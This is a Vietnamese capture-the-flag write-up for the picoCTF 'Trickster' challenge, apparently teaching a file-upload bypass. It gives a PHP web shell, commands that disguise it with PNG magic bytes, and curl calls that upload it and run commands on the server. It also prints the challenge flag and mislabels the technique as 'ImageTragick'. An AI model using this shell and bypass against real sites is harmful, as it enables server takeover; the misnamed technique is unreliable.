Trickster
I found a web app that can help process images, PNG images only!
Cách mình làm
Soi web
Vừa vào web thì mình thấy nó cho mình phần upload file như thế này:
Sau khi vào web
Check thử robots.txt xem có gì hot:
Robots.txt
Vậy là mình biết nó có phần /uploads/
Nghịch
Kỹ thuật mình sẽ sử dụng là ImageTragick!, thêm magic byte của file png vào file .php rồi upload lên cho nó thực thi lệnh (RCE)
Shell.php
Đầu tiên các bạn cần chuẩn bị 1 file shell.php với nội dung như sau:
1
<?php system($_GET['cmd']); ?>
PNG Header
Sau đó các bạn thêm PNG Header vào để nguỵ trang:
PowerShell (Windows)
1
2
[System.IO.File]::WriteAllBytes("shell.png.php", @(0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A))
Get-Content shell.php -Raw | Out-File -Append -Encoding ASCII shell.png.php
Bash (Linux)
1
2
echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > shell.png.php
cat shell.php >> shell.png.php
Upload File
Dùng Burp Suite hoặc curl:
1
curl -F 'file=@shell.png.php' http://atlas.picoctf.net:PORT/
Khi thành công → file được lưu tại /uploads/shell.png.php
RCE
Truy cập shell:
1
curl "http://atlas.picoctf.net:PORT/uploads/shell.png.php?cmd=whoami"
Và mình đã RCE thành công!!!
RCE thành công
Thử ls quanh quanh thì thấy có cái file txt này lạ lạ:
ls quanh quanh
Cat thử thì có flag nè!!!
lòi flag
FLAG: picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_ab0ece03}
Kết luận
Bản chất
Đây là một lỗ hỏng upload file, bypass bằng các Magic Bytes của file png, từ đó các bạn có thể thực thi lệnh
Cách làm
B1: Tạo file png giả, có chứa nội dung của file php để thực thi shell
B2: Upload lên web
B3: Phá!!!
Tại sao Magic Bytes có thể bypass được và cho phép RCE???
Lý do cốt lõi là sự kiểm tra không đầy đủ.
Hệ thống chỉ quan tâm đến “cái mác” (magic byte) mà bỏ qua hoàn toàn “nội dung” (phần còn lại của tệp). Kẻ tấn công chỉ cần “dán đúng mác” lên một “gói hàng cấm” là có thể vượt qua trạm kiểm soát.
Nói chung là cũng tại thằng dev mà thôi =)))
Lời kết
Chúc các bạn đánh CTF vui vẻ!!!

